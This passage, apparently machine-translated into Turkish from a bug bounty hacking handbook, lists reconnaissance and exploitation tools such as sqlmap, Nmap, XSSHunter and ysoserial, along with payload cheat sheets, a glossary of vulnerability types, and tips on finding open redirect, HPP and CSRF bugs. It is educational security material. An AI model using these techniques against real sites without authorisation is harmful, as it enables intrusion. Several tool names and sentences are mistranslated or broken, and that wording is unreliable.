crt.sh

https://crt.sh

Sertifika İşlemi günlüklerine göz atmak için bir arama sitesi, ilişkili alt etki alanları ortaya çıkıyor
sertifikaları ile.

IPV4info.com

http://ipv4info.com

Philippe Harewood sayesinde tekrar öğrendiğim harika bir site. kullanma
Bu sitede, belirli bir sunucuda barındırılan alanlar bulabilirsiniz. Yani, örneğin, girerek
yahoo.com size Yahoo'nun IP aralığını ve aynı alan adında sunulan tüm alanları verecektir.
Sunucular.

SecLists

https://github.com/danielmiessler/SecLists

Teknik olarak başlı başına bir araç olmasa da, SecLists birden fazla türden oluşan bir koleksiyondur.
Hack sırasında kullanılan listeleri Bu, kullanıcı adlarını, şifreleri, URL'leri, özet dizelerini içerir,
ortak dizinler / dosyalar / alt alanlar vb. Proje Daniel Miessler tarafından sağlanmaktadır.
ve Jason Haddix (ProTips # 5 misafir Hacking)

XSSHunter

https://xsshunter.com

XSSHunter, Matt Bryant tarafından geliştirilen bir araçtır (eski n Über güvenlik ekibi)
bu da, ne olursa olsun ateş göremediğiniz kör XSS açıklarını veya XSS'yi bulmanıza yardımcı olur.
sebep. XSSHunter'a kaydolduktan sonra, size özel bir xss.ht kısa alan adı verilir.

XSS'nizi tanımlar ve yükünüzü barındırır. XSS patladığında otomatik olarak
nerede gerçekleştiği hakkında bilgi toplar ve size bir e-posta bildirimi gönderir.

sqlmap

http://sqlmap.org

sqlmap, algılama işlemini otomatikleştiren açık kaynaklı bir penetrasyon aracıdır.
SQL enjeksiyon açıklarından yararlanma. Web sitesi de dahil olmak üzere çok çeşitli özelliklere sahiptir.
için destek:

- Çok çeşitli veritabanı türleri (örneğin, MySQL, Oracle, PostgreSQL, MS SQL Server, vb.)

[1] https://twitter.com/iammandatory

Sayfa 214

- Altı SQL enjeksiyon tekniği (örneğin, boole bazlı kör, zaman bazlı kör, hata-tabanlı, UNION sorgu tabanlı, vb.)
- Kullanıcıları, parola karmaşasını, ayrıcalıkları, rolleri, veritabanlarını, tabloları ve sütunlar
- Ve daha fazlası

Michiel Prins'a göre sqlmap, SQL'in kullanımını otomatikleştirmede yardımcı oluyor
bir şeyleri ispatlamak için yapılan enjeksiyon açıkları savunmasızdır, bu da çok sayıda el çalışmasını önler.

Knockpy'ye benzer şekilde sqlmap Python'a dayanır ve Windows veya Unix tabanlı olarak çalıştırılabilir.
sistemleri.

Nmap

https://nmap.org

Nmap, ağ keşfi ve güvenlik denetimi için ücretsiz ve açık kaynaklı bir yardımcı programdır.
Sitelerine göre, Nmap, belirlemek için yeni yöntemlerle ham IP paketlerini kullanır: - Hangisi
bir ağda ana bilgisayarlar var - Hangi servisleri (uygulama adı ve sürümü)
ana bilgisayarlar sunuyor - Hangi işletim sistemlerini (ve sürümlerini) çalıştırıyorlar - Hangi tür
Paket filtrelerin / güvenlik duvarlarının kullanımda - Ve çok daha fazlası

Nmap sitesi, Windows, Mac ve
Linux.

görgü tanığı

https://github.com/ChrisTruncer/EyeWitness

EyeWitness, web sitelerinin ekran görüntülerini almak, bazı sunucu başlık bilgileri sağlamak için tasarlanmıştır.
ve mümkünse varsayılan kimlik bilgilerini belirleyin. Hangi hizmetleri tespit etmek için harika bir araçtır
Ortak HTTP ve HTTPS bağlantı noktalarında çalışıyor ve diğer araçlarla birlikte kullanılabilir.

Nmap, bilgisayar korsanlığı hedeflerini hızla numaralandırmak için.

Shodan

https://www.shodan.io

Shodan, “Şeyler” in internet arama motorudur. Siteye göre, “Kullan
Hangi cihazlarınızın internete bağlı olduğunu, nerede olduklarını keşfetmek için Shodan
bulunduğu ve onları kim kullanıyor ”. Bu, özellikle keşfetmek istediğinizde yararlıdır.
Potansiyel hedef ve hedef altyapı hakkında mümkün olduğunca çok şey öğrenmeye çalışmak.

Bununla birleştiğinde Shodan için hızlı bir şekilde izin veren kullanışlı bir Firefox eklentisi
belirli bir etki alanı için erişim bilgilerine Bazen bu mevcut limanları ortaya çıkarır.
Nmap'a geçebilirsin.

Censys

https://censys.io

Censys, araştırmacıların ev sahipleri hakkında sorular sormalarını sağlayan bir arama motorudur.
İnterneti oluşturan ağlar. Censys ana bilgisayarlar ve web siteleri üzerinden veri toplar.
IPV4 adres alanının günlük ZMap ve ZGrab taramaları, ardından bir veritabanının bakımı
Ana bilgisayarların ve web sitelerinin nasıl yapılandırıldığına

Hangi İYS

http://www.whatcms.org

Hangi CMS, bir sitenin URL'sini girmenize izin veren basit bir uygulamadır ve geri dönecektir.
Sitenin kullandığı muhtemel İçerik Yönetim Sistemi. Bu birkaç nedenden dolayı yararlıdır:

- Bir sitenin hangi İYS'yi kullandığını bilmek, site kodunun nasıl olduğu hakkında fikir verir.
  yapılandırılmış
- CMS açık kaynaklıysa, güvenlik açıkları ve test kodlarına göz atabilirsiniz.
  sitede onları
- CMS'nin sürüm kodunu belirleyebilirseniz, site olabilir
  eski ve açık güvenlik açıklarına karşı savunmasız

BuiltWith

http://builtwith.com

BuiltWith, kullanılan farklı teknolojileri parmak izi izlemenize yardımcı olacak ilginç bir araçtır
belirli bir hedefe. Sitesine göre 18.000'in üzerinde internet türü kapsıyor.
analitik, barındırma, hangi CMS vb

Nikto

https://cirt.net/nikto2
Nikto birden fazla sunucuya karşı test eden bir Açık Kaynak web sunucusu tarayıcısıdır.
dahil ürünler:

- Potansiyel olarak tehlikeli dosyalar / programlar
  Sunucuların eski sürümleri
- Versiyona özgü problemler
- Sunucu yapılandırma öğelerini kontrol etme

Michiel'e göre, Nikto olmamalıdır dosyaları veya dizinleri bulmakta yardımcı oluyor
kullanılabilir (örneğin, eski bir SQL yedekleme dosyası veya git repo içi)

Recon ng

https://bitbucket.org/LaNMaSteR53/recon-ng

Sayfasına göre, Recon-ng tam özellikli bir Web Keşif çerçevesidir
Python ile yazılmış. Açık kaynaklı web tabanlı güçlü bir ortam sağlar.
keşif hızlı ve ayrıntılı bir şekilde yapılabilir.

Recon-ng, ne yazık ki, nasıl bakmak istediğinize bağlı olarak
Burada yeterince açıklayamayacağım çok fazla işlev. Alt için kullanılabilir
etki alanı bulma, hassas dosya bulma, kullanıcı adı numaralandırma, sosyal medyayı kazıma
siteler vb

GitRob

https://github.com/michenriksen/gitrob

Gitrob, kuruluşlara ve güvenlik uzmanlarına yardımcı olabilecek bir komut satırı aracıdır.
GitHub'da halka açık dosyalarda kalan hassas bilgileri bulun. Aracı olacak
Tüm kamu kuruluşları ve üye depoları üzerinde durun ve bunlara karşı dosya isimlerini eşleştirin
genellikle hassas veya tehlikeli bilgiler içeren dosyalar için çeşitli modeller.

CyberChef

https://gchq.github.io/CyberChef/

CyberChef, her türlü kodlama / kod çözme aletini sağlayan İsviçre çakısıdır. O da
diğerlerinin yanı sıra sık kullanılanların bir listesini kaydetmek, sonuçları indirmek için işlevsellik sağlar
bir şeyler.

OnlineHashCrack.com

www.onlinehashcrack.com

Çevrimiçi Hash Crack, şifrelerinizi kurtarmaya çalışan çevrimiçi bir servistir (karma
MD5, NTLM, Wordpress, vb.), WPA dökümleriniz (el sıkışmalarınız) ve MS Ofisiniz gibi
şifreli dosyalar (yasal olarak elde edilir). Ne tür bir karma kullanımın kullanıldığını belirlemeye yardımcı olmakta fayda var.
Bilmiyorsunuz, 250'den fazla karma türünün tanımlanmasını destekliyoruz.

idb

http://www.idbtool.com

idb, iOS uygulaması güvenlik değerlendirmeleri için bazı genel görevleri basitleştirmeye yardımcı olan bir araçtır ve
Araştırma. GitHub'da barındırılıyor.

Wireshark

https://www.wireshark.org

Wireshark, bilgisayarınızda neler olup bittiğini görmenizi sağlayan bir ağ protokolü analizörüdür.
ayrıntılı olarak ağ. Bu, bir site yalnızca iletişim kurmuyorsa daha kullanışlıdır.
HTTP / HTTPS. Başlıyorsanız, Burp Suite'e bağlı kalmak daha yararlı olabilir.
site sadece HTTP / HTTPS üzerinden iletişim kuruyor.

Kova Bulucu

https://digi.ninja/files/bucket_finder_1.1.tar.bz2

Okunabilen kovaları arayacak ve içindeki tüm dosyaları listeleyecek havalı bir araç. Yapabilir
ayrıca hızlıca var olan kovaları bulmak için kullanılır ancak listeleme dosyalarına erişimi reddeder.
kepçeleri, AWS CLI'yi kullanarak yazmayı test edebilirsiniz ve
Kimlik Doğrulama Bölümü - HackerOne S3 Kovalarını nasıl hackledim.

Web'de yarış

https://github.com/insp3ctre/race-the-web

Web uygulamalarında yarış koşullarını test eden ve bir kullanıcı göndererek daha yeni bir araç
bir hedef URL'ye (veya URL'lere) aynı anda belirtilen sayıda istek ve ardından
Sunucudan gelen yanıtları benzersiz olup olmadığını ayrıştırır. Bir dizi konfigürasyon içerir
seçenekler.

Google Dorks

https://www.exploit-db.com/google-hacking-database

Google Dorking, bilgi bulmak için Google tarafından sağlanan gelişmiş sözdizimlerini kullanma anlamına gelir. hazır değil. Bu, güvenlik açığı bulunan dosyaların bulunmasını, harici fırsatların bulunmasını içerebilir kaynak yükleme, vb.

JD GUI

https://github.com/java-decompiler/jd-gui

JD-GUI, Android uygulamalarını keşfederken yardımcı olabilecek bir araçtır. Bu bağımsız bir grafiksel CLASS dosyalarından Java kaynaklarını görüntüleyen bir yardımcı programdır. Çok fazla tecrübem yokken Bu araçla (henüz) umut verici ve faydalı görünüyor.

Mobil Güvenlik Çerçevesi

https://github.com/ajinabraham/Mobile-Security-Framework-MobSF

Bu, mobil bilgisayar korsanlığı için yararlı bir başka araçtır. Akıllı, hepsi bir arada bir açık kaynak mobil uygulama (Android / iOS) yapabilen otomatik kalem testi çerçevesi statik, dinamik analiz ve web API testi yapmak.

Ysoserial

https://github.com/frohoff/ysoserial

Güvensiz Java nesnesinden yararlanan yükleri oluşturmak için kavram kanıtı aracı. leştirilmesi

Firefox Eklentileri

Bu liste büyük ölçüde burada bulunan Infosecinstitute'tan gönderilen gönderiden kaynaklanmaktadır: InfosecIn- teşkil ettiğini kabul ederek[2]

FoxyProxy

FoxyProxy, Firefox tarayıcısı için gelişmiş bir proxy yönetimi eklentisidir. Geliştirir Firefox'un yerleşik proxy yetenekleri.

[2] resources.infosecinstitute.com/use-firefox-browser-as-a-penetration-testing-tool-with-these-add-ons

Kullanıcı Aracısı Değiştirici

Tarayıcıya bir menü ve araç çubuğu düğmesi ekler. Ne zaman kullanıcı değiştirmek istersen ajan, tarayıcı düğmesini kullanın. Kullanıcı Ajan eklentisi, tarayıcıyı sahtecilikte yardımcı olur bazı saldırılar gerçekleştiriliyor.

kundakçı

Firebug, bir web geliştirme aracını tarayıcının içine entegre eden hoş bir eklentidir. İle
Bu araç, HTML, CSS ve JavaScript'leri herhangi bir web sayfasında canlı olarak düzenleyebilir ve hata ayıklayabilirsiniz.
değişikliklerin etkisi. XSS açıklarını bulmak için JS dosyalarının analizinde yardımcı olur.

Hackbar

Hackbar, Firefox için basit bir penetrasyon aracıdır. Basit SQL enjeksiyonunun test edilmesine yardımcı olur
ve XSS delikleri. Standart istismarları uygulayamazsınız ama test etmek için kolayca kullanabilirsiniz.
güvenlik açığı olup olmadığı. Ayrıca form verilerini GET veya
POST istekleri.

Websecurify

Web Güvenliği, web uygulamalarındaki en yaygın güvenlik açıklarını tespit edebilir. Bu araç olabilir
XSS, SQL Injection ve diğer web uygulama güvenlik açıklarını kolayca tespit edin.

Çerez Yöneticisi +

Yeni çerezleri görüntülemenizi, düzenlemenizi ve oluşturmanızı sağlar. Ayrıca, hakkında ek bilgi gösterir.
Çerezler, bir kerede birden fazla çerez düzenleme, çerezleri yedekleme ve geri yükleme vb.

XSS Me

XSS-Me, bir tarayıcıdan yansıyan XSS açıklarını bulmak için kullanılır. Tüm formları tarar
ve sonra, önceden tanımlanmış XSS ile seçilen sayfalara bir saldırı gerçekleştirir
yükleri. Tarama işlemi tamamlandıktan sonra, cihazda yük oluşturan tüm sayfaları listeler.
sayfa, ve XSS'ye açık olabilir. Bu sonuçlarla manuel olarak onaylamanız gerekir.
bulunan güvenlik açıkları.

Offsec Exploit-db Araması

Bu, exploit-db.com adresinde listelenen güvenlik açıklarını ve istismarları aramanızı sağlar. Bu web sitesi
En son istismarlar ve güvenlik açığı detaylarıyla her zaman günceldir.

Wappalyzer

https://addons.mozilla.org/en-us/firefox/addon/wappalyzer/

Bu araç, aşağıdakiler de dahil olmak üzere bir sitede kullanılan teknolojileri tanımlamanıza yardımcı olacaktır.
CloudFlare, Altyapılar, Javascript Kütüphaneleri vb.

24. Kaynaklar

Cevrimici egitim

Web Uygulaması Exploits ve Savunmaları

Çalışmanız için savunmasız bir gerçek webapp ve öğreticiler içeren bir kod etiketi
, XSS, Ayrıcalık Escala dahil olmak üzere yaygın güvenlik açıklarını keşfetmek için
CSRF, Path Traversal ve daha fazlası. Https://google-gruyere.appspot.com adresinde bulabilirsiniz.

Exploit Veri Tabanı

Tam olarak çevrimiçi eğitim almamakla birlikte, bu site keşfedilen yararları içerir
güvenlik açıkları, genellikle bunları mümkün olduğunda CVE'lere bağlar. Kullanırken

sağlanan gerçek kod, olabildiğince son derece dikkatli yapılmalıdır
yıkıcı, bu bir hedef kullanıyorsa, güvenlik açıklarını bulmak için yararlıdır
site yazılımı ve kod okuma, ne tür bir anlamak için yararlıdır
bir siteden yararlanmak için girdi sağlanabilir.

Udacity

Web geliştirme de dahil olmak üzere çeşitli konularda ücretsiz çevrimiçi öğrenme kursları-
söz ve programlama. Kontrol etmenizi öneririm:

HTML ve CSS'ye Giriş [1] Javascript Temelleri [2]

Hata Ödül Platformları

Hackerone.com

Facebook, Microsoft ve Google'dan güvenlik liderleri tarafından oluşturuldu, HackerOne
ilk güvenlik açığı koordinasyon ve hata ödül platformudur.

[1] https://www.udacity.com/course/intro-to-html-and-css--ud304
[2] https://www.udacity.com/course/javascript-basics--ud804

Bugcrowd.com

Outback'ten vadiye, Bugcrowd 2012'de
Kötü adamlara karşı oran.

Synack.com

Müşterilere güvenlik uzmanlığı sunan özel bir platform. Katılım gerektirir
onay ancak kesinlikle başvuru sürecidir. Raporlar tipik olarak yeniden yapılır.
24 saat içinde çözüldü ve ödüllendirildi.

Cobalt.io

Aynı zamanda çalışan çekirdek bir araştırmacı grubuna sahip olan bir hata ödül platformu
özel programlarda.

Video Öğreticileri

youtube.com/yaworsk1

Kayıt yapmaya başladığım YouTube kanalımı dahil etmeseydim, hatırlatırdım
Bu kitabı iltifat etmeye yardımcı olacak açıkları bulma konusunda eğiticiler.

Seccasts.com

SecCasts, web sitelerinden, sunan bir güvenlik video eğitimi platformudur.
Temel web hackleme tekniklerinden derinlemesine güvenliğe kadar çeşitli eğitimler
belirli bir dil veya çerçevede konular.

Web Shot nasıl

Teknik olarak bir video eğitimi değilken, Jason Haddix'in (Hacking ProTips # 5
misafir) DefCon 23'ün sunumu, olmanız için harika bir fikir verir.
daha iyi bir hacker. Malzemeyi kendi bilgisayar korsanlığına dayandırdı (1 numaraydı.
Onlara katılmadan önce Bugcrowd üzerine) ve blog yazılarını okumak ve
diğer üst korsanlardan gelen açıklamalar.

Daha fazla okuma

OWASP.com

Açık Web Uygulaması Güvenlik Projesi, büyük bir güvenlik açığı kaynağıdır.
bility bilgisi. Onlar uygun bir Security101 bölümü, hile sayfaları var,
çoğu güvenlik açığı türündeki sınama kılavuzu ve ayrıntılı açıklamalar.

Hackerone.com/hacktivity

Ödül programlarından bildirilen tüm açıkların bir listesi. Sadece
bazı raporlar herkese açıktır, GitHub'daki komut dosyasını tüm
kamuya açıklanmış açıklamalar (https://github.com/yaworsk/hackerone_scrapper).

https://bugzilla.mozilla.org

Mozilla'nın hata izleme sistemi. Bu, bildirilen tüm güvenlikle ilgili sorunları içerir
böcek ödül programlarına. Bu, ne olduğu hakkında okumak için harika bir kaynak
Mozilla'nın bulduğu ve nasıl işlediği
tamamlanmadı.

Twitter #infosec ve #bugbounty

Çok fazla gürültü olmasına rağmen, çok sayıda ilginç güvenlik / güvenlik açığı var
#infosec ve #bugbounty altındaki ilgili tweet'leri, genellikle bağlantıları olan
detaylı yazımlar

Twitter @ announcedh1

Resmi olmayan HackerOne kamuoyu açıklamaları son zamanlarda tweets

açıklanan hatalar.

Web Uygulaması Hacker El Kitabı

Başlık hepsini söylemeli. Burp Suite yaratıcıları tarafından yazılmış, bu gerçekten bir okumalısınız.

Böcek Avcıları Metodolojisi

Bu Jason Haddix'ten bir GitHub deposu (Hacking ProTips # 5 misafir) ve başarılı bilgisayar korsanlarının nasıl bir yaklaşım sergilediğine dair müthiş bir görüş sağlar. hedef. MarkDown'da yazılmıştır ve Jason DefCon 23'ün bir yan ürünüdür. Nasıl Web sunumunu vurmak için. Https://github.com/jhaddix/tbhm adresinde bulabilirsiniz.

Önerilen Bloglar

philippeharewood.com

Hakkında inanılmaz miktarda paylaşan inanılmaz bir Facebook korsanı tarafından blog Facebook'taki mantık kusurlarını bulma. Philippe ile röportaj yapacak kadar şanslıydım. Nisan 2016 ve blogunun ne kadar akıllı ve müthiş olduğunu yeterince vurgulayamıyorum - Her yazıyı okudum.

Philippe'in Facebook Sayfası - www.facebook.com/phwd-113702895386410

Philippe'den bir başka harika kaynak. Bu bir Facebook listesini içerir Böcek Bounties.

fin1te.net

Son iki için İkinci sırada yer alan Facebook Whitehat Programına göre Blog yıl (2015, 2014). Jack çok fazla mesaj atmıyor gibi görünüyor ama açıklamalar derinlemesine ve bilgilendirici!

NahamSec.com

HackerOne'a # 26 (Şubat 2016 itibariyle) hacker tarafından yazılmıştır. Çok serin Burada açıklanan güvenlik açıkları - notların çoğunda arşivlenmiş, ancak yine de arşivlenmiş sitede mevcuttur.

blog.it-securityguard.com

Patrik Fehrenbach'ın kişisel blogu. Patrik bir dizi cool buldu ve
Hem bu kitapta hem de blogunda ayrıntılı olarak ele alınan yüksek etkili güvenlik açıkları. O oldu
Ayrıca Hacking Pro Tips için ikinci görüşmeci.

Sayfa 225

blog.innerht.ml

HackerOne'daki en iyi Hacker'lardan bir başka harika blog. Filedescriptor var
Twitter'da şaşırtıcı derecede yüksek ödemeleri ve yayınlarını içeren bazı hatalar buldu.
teknik, detaylı ve çok iyi yazılmış!

blog.orange.tw

Tonlarca değerli kaynaklara bağlantı içeren bir Top DefCon korsanından blog yaz.

Portswigger Blog

Burp Suite geliştiricilerinden Blog. **Şiddetle tavsiye**

Nvisium Blog

Bir güvenlik şirketinden harika bir blog. Rails RCE güvenlik açığını buldular
Flask / Jinja2 ile kırılganlıkları bulma konusunda tartışıldı ve bloglandı
Uber RCE'den iki hafta önce bulundu.

blog.zsec.uk

7 Haziran 2016'dan itibaren # 1 PornHub korsanından blog.

brutelogic.com.br

Brezilya hacker @ brutelogic tarafından yazılmıştır. Bu bazı şaşırtıcı derecede ayrıntılı
XSS saldırıları için ipuçları ve püf noktaları. @ brutelogic huşu ile yetenekli bir hacker
bazı XSS bildirimleri portföyü https://www.openbugbounty.org/researchers/Brute/ adresindedir.

lcamtuf.blogspot.ca

Michal Zalewski'nin (Google) blogu daha ileri konu başlıkları içeriyor
gelişmiş konularla ayaklarınızı ıslatmak için harika. O da yazarı
Karışık Web.

Bug Kalabalık Blog

Bug Crowd, müthiş röportajlar dahil olmak üzere harika içerikler yayınladı
bilgisayar korsanları ve diğer bilgilendirici malzemeler. Jason Haddix de yakın zamanda
blog aracılığıyla bulabileceğiniz bir hack podcast başlattı.

HackerOne Blogu

HackerOne ayrıca önerildiği gibi bilgisayar korsanları için de faydalı içerikler yayınlamaktadır. bloglar, platformda yeni işlevler (yeni vulner aramak için iyi bir yer- yetenekler!) ve daha iyi bir hacker olma konusunda ipuçları.

Cheatsheets

- Yol Geçiş Hile Sayfası Linux - https://www.gracefulsecurity.com/path-traversal-hile-tabaka Linux /
- XXE - https://www.gracefulsecurity.com/xxe-cheatsheet/
- HTML5 Güvenlik Hile Sayfası - https://html5sec.org/
- Brüt XSS Hile Sayfası - http://brutelogic.com.br/blog/cheat-sheet/
- XSS Polyglots - http://polyglot.innerht.ml/
- MySQL SQL Enjeksiyon Hile Sayfası - http://pentestmonkey.net/cheat-sheet/sql-injection / MySQL-sql enjeksiyon-hile-yaprak
- AngularJS Sandbox Bypass Koleksiyonu (1.5.7 Dahil) - http://pastebin.com/xMXwsm0N

25. Sözlük

Siyah Şapka Hacker

Bir Black Hat Hacker “bilgisayar güvenliğini çok az ihlal eden bir bilgisayar korsanıdır. kötülüğün ötesinde bir sebep ya da kişisel kazanç için ”(Robert Moore, 2005, Siber Suç). Siyah Şapka aynı zamanda içinde “kraker” olarak da adlandırılır. güvenlik endüstrisi ve modern programcılar. Bu bilgisayar korsanları genellikle Verileri yok etmek, değiştirmek veya çalmak için kötü niyetli eylemler. Bu tam tersi bir Beyaz Şapka Hacker.

Tampon Taşması

Arabellek Taşması, bir programın ara belleğe veri yazdığı bir durumdur veya hafızanın alanı, gerçekte tahsis edilen alandan daha fazla veri yazmak için Bu hafıza için. Sonuç olarak, program belleğin üzerine yazma biter olmamalı mıydı.

Hata Ödül Programı

Beyaz Şapka Hacker'larının tanıma alabileceği web siteleri tarafından sunulan bir anlaşma hataları bildirmek için harç veya tazminat, özellikle güvenlikle ilgili güvenlik açığı-yetenekleri. Örnekler HackerOne.com ve Bugcrowd.com'dur.

Hata raporu

Araştırmacının belirli bir bölgedeki potansiyel güvenlik açığı hakkında açıklaması Ürün veya hizmet.

CRLF Enjeksiyonu

CRLF veya Satır Başı Satır Beslemesi, Enjeksiyon, bu tür bir güvenlik açığıdır. Bir kullanıcı bir uygulamaya CRLF eklemeyi başardığında ortaya çıkar. Bu bazen HTTP Yanıt Bölme olarak da adlandırılır.

Siteler Arası İstek Sahteciliği

Bir kötü niyetli olduğunda Siteler Arası İstek Sahteciliği veya CSRF saldırısı gerçekleşiyor web sitesi, e-posta, anlık ileti, uygulama vb. kullanıcının web tarayıcısına neden olur bu kullanıcının zaten bulunduğu başka bir web sitesinde bir işlem yapmak için kimliği doğrulandı veya giriş yapıldı.

Siteler Arası Komut Dosyası

Siteler arası komut dosyası çalıştırma veya XSS, istenmeyen Javascript içeren bir web sitesi içerir
daha sonra gelen kod, bu kodu kullanarak uygulayan kullanıcılara geçer.
onların tarayıcıları.

HTML Enjeksiyonu

Köprü Metni Biçimlendirme Dili (HTML) enjeksiyonu
sanal tahribat, gerçekten izin verilen bir sitede yapılan bir saldırıdır
Kötü niyetli bir kullanıcı bu kullanıcının girişini ele alarak siteye HTML enjekte etmiyor
uygun şekilde.

HTTP Parametre Kirliliği

Bir web sitesi tarafından kabul edildiğinde, HTTP Parameter Kirliliği veya HPP oluşur.
Bir kullanıcı ve bunu başka bir sisteme bir HTTP isteği yapmak için kullanır.
bu kullanıcının girişini doğrulamak.

HTTP Yanıt Bölme

Kötü niyetli bir kullanıcının enjekte edebildiği CRLF Injection için başka bir ad
Bir sunucu yanıtı içine başlıklar.

Bellek Bozulması

Bellek bozulması, neden olduğu güvenlik açığını açığa çıkarmak için kullanılan bir tekniktir.
sıradışı veya beklenmedik davranışlarda bulunmak için bu kodu kullanın. Etki
belleğe maruz kalmaması gerektiğinde belleğin maruz kaldığı arabellek taşmasına benzer
olmak.

Yönlendirmeyi Aç

Bir uygulama bir parametre alıp yönlendirdiğinde, açık bir yönlendirme gerçekleşir.
bir kullanıcı üzerinde herhangi bir doğrulama yapmadan bu parametre değerine
değer, kıymet.

Penetrasyon testi

Güvenlik zayıflıklarını arayan bir bilgisayar sistemine yapılan yazılım saldırısı,
Bilgisayarın özelliklerine ve verilerine potansiyel olarak erişim kazanma. Bunlar olabilir
ne için yasal veya şirket tarafından onaylanmış, test veya yasal olmayan testler dahil
farious amaçlar.

Araştırmacılar

Beyaz Şapka Hackerları olarak da bilinir. Bir potansiyeli araştırmış olan herkes
akademik güvenlik de dahil olmak üzere bir tür teknolojide güvenlik sorunu
araştırmacılar, yazılım mühendisleri, sistem yöneticileri ve hatta geçici
teknoloji.

Müdahale ekibi

Güvenlik konularını ele almaktan sorumlu olan bir birey ekibi
bir ürün veya hizmette keşfedildi. Koşullara bağlı olarak, bu
bir kuruluştan, bir grup gönüllüden gelen resmi bir yanıt ekibi olabilir.
açık kaynak kodlu bir projede veya bağımsız bir gönüllü panelinde.

Sorumlu Açıklama

Bir müdahale ekibine yeterli bir süre izin verirken bir güvenlik açığının tanımlanması
güvenlik açığını herkese açık hale getirmeden önce güvenlik açığını ele almanın zamanı.

Güvenlik Açığı

Bir saldırganın ihlalde bir eylem gerçekleştirmesine izin verecek bir yazılım hatası
ifade edilen bir güvenlik politikasının Yükseltilmiş erişimi sağlayan bir hata veya
ayrıcalık bir güvenlik açığıdır. En iyi güvenliğe uymak için kusurları ve hataları tasarlayın
uygulamalar güvenlik açıkları olarak nitelenebilir.

Güvenlik Açığı Koordinasyonu

İlgili tüm tarafların bir güvenlik açığını gidermek için birlikte çalışması için bir işlem.
Örneğin, bir araştırma (beyaz şapka korsanı) ve HackerOne'da bir şirket veya
bir araştırmacı (beyaz şapka korsanı) ve açık kaynaklı bir topluluk.

Güvenlik Açığı Açıklaması

Güvenlik açığı açıklaması, bir bilgisayar bilgisayarıyla ilgili bilgilerin yayımlanmasıdır.
tedavi problemi. Güvenlik açığı iflasına ilişkin evrensel kurallar yoktur
kabarıklıklar ancak hata ödül programları genellikle açıklamaların nasıl yapıldığına ilişkin yönergelere sahiptir.
ele alınmalı.

Beyaz Şapka Hacker

White Hat Hacker, çalışmalarını sağlamayı amaçlayan etik bir hacker
bir kuruluşun güvenliği. Beyaz Şapka'nın ara sıra
penetrasyon test cihazları. Bu bir Black Hat Hacker'ın tam tersi.

26. Ek A - Alın

Yönlendirmeleri Aç

Tüm güvenlik açıkları karmaşık değildir. Bu açık yönlendirme, basitçe değişen gerekli
domain_name parametresi, sonuçta sonuçlanacak harici bir siteye
bir site dışına Shopify'dan yönlendiriliyor.

Yönlendirme parametreleri her zaman açıkça etiketlenmemiş olabilir, çünkü parametreler
siteden siteye farklı hatta bir site içinde bile adlandırılabilir. Bazı durumlarda sen
parametrelerin r = gibi tek karakterlerle etiketlendiğini bile bulabilir veya
u = .Açık yönlendirmeleri ararken URL parametrelerini göz önünde bulundurun
URL'leri, yönlendirme, sonraki, vb. kelimeleri içerir.
siteler kullanıcıları yönlendirecektir.

Ayrıca, sitenin döndürdüğü son URL'nin yalnızca bir bölümünü kontrol edebiliyorsanız,
örneğin, yalnızca checkout_url parametre değerini ve parametrenin
mağaza gibi sitenin arka tarafındaki kodlanmış bir URL ile birleştiriliyor
URL http://mystore.myshopify.com , nokta gibi özel URL karakterleri eklemeyi deneyin veya
@ URL'nin anlamını değiştirmek ve bir kullanıcıyı başka bir etki alanına yönlendirmek için.

Güvenlik açıklarını ararken, bir sitenin kullandığı hizmetleri dikkate alın
her biri yeni saldırı vektörlerini temsil eder. İşte bu güvenlik açığı mümkün oldu
HackerOne'un Zendesk kullanımını ve bilinen yönlendirmeyi birleştirerek
izin.

Ek olarak, hataları bulduğunuzda, güvenlik uygulamasının gerçekleştiği zamanlar da olacaktır.
Sizin için okuyan ve cevaplayan kişi tarafından kolayca anlaşılmaz.
bildiri. Bu nedenle, Güvenlik Açığı Raporları ile ilgili ayrıntıları içeren bir bölümüm var.
Bir rapora dahil etmek, şirketler ile ilişkilerin nasıl kurulacağını ve diğer
bilgi. Önceden küçük bir iş yaparsanız ve güvenliği saygıyla açıklarsanız
Raporunuzdaki çıkarımlar, daha yumuşak bir çözüm sağlanmasına yardımcı olacaktır.

Ancak, bu bile olsa, şirketlerin sizinle aynı fikirde olmadığı zamanlar olacak.
Eğer durum buysa, Mahmoud'ın yaptığı gibi kazmaya devam edin ve
etkinliği göstermek için onu başka bir güvenlik açığı ile sömürün veya birleştirin.

Sayfa 232

HTTP Parametre Kirliliği

Web siteleri içerik kabul ettiğinde ve göründüğünde fırsatlara dikkat edin
sosyal medya siteleri gibi başka bir web servisiyle iletişim kurmak ve
Paylaşılan bir gönderi oluşturmak için bağlantıyı oluşturmak için geçerli URL.

Bu gibi durumlarda, gönderilen içeriğin aktarılması mümkün olabilir
parametreye yol açabilecek uygun güvenlik kontrolleri yapılmadan açık
kirlilik açıkları.

Kısa bir açıklama olsa da, Mert'in çabaları
sistence ve bilgi. Daha sonra güvenlik açığından kurtulmuş olsaydı
Değişen **UID** Başka bir kullanıcının ve başarısız ya da o hakkında bilmek olmasaydı HPP-
güvenlik açıklarını yazın, 700 dolarlık ödülünü almazdı.

Ayrıca, HTTP isteklerine dahil edilen **UID** gibi parametrelere dikkat edin
birçok güvenlik açığı web yapmak için parametre değerlerini değiştirmeyi içerir
beklenmedik şeyler yapan uygulamalar.

Bu, önceki UID Twitter güvenlik açığına benzer. Şaşırtıcı olmayan bir şekilde, ne zaman
Site HPP gibi bir hasara karşı savunmasız, daha geniş bir sistemik göstergesi olabilir
konu. Bazen böyle bir güvenlik açığı bulursanız, zaman ayırmaya değer
Platformu tümüyle araştırmak, bulunduğunuz başka yerler olup olmadığını görmek için
benzer davranışlardan yararlanabilir.

Siteler Arası İstek Sahteciliği

Bu durumda, güvenlik açığını bir proxy sunucusu kullanarak bulabilirdiniz,
Burp veya OWASP'ın ZAP'i gibi Shopify'a gönderilen HTTP isteklerini izlemek için
ve bunun bir GET isteği olduğunu belirtti. GET istekleri hiçbir zaman değişiklik yapmamalı

sunucudaki verileri, ancak WeSecureApp ile yıkıcı eylemde
Birincisi, bu tür istekleri de göz önünde bulundurmalısınız.

Avantajlar ararken, saldırı alanınızı genişletin ve sadece ötesine bakın
bir sitenin, API için son noktaları içeren ve
açıkları. Bazen, geliştiriciler bazen bu API bitiş noktalarını unutur
web sayfaları gibi hazır olmadıkları için keşfedilebilir ve kullanılabilirler
(örneğin, mobil API uç noktaları, telefon trafiğinizin ele geçirilmesini gerektirir).

Dumanın olduğu yerde yangın var. Burada, Mahmud rt parametresinin farkına vardı.
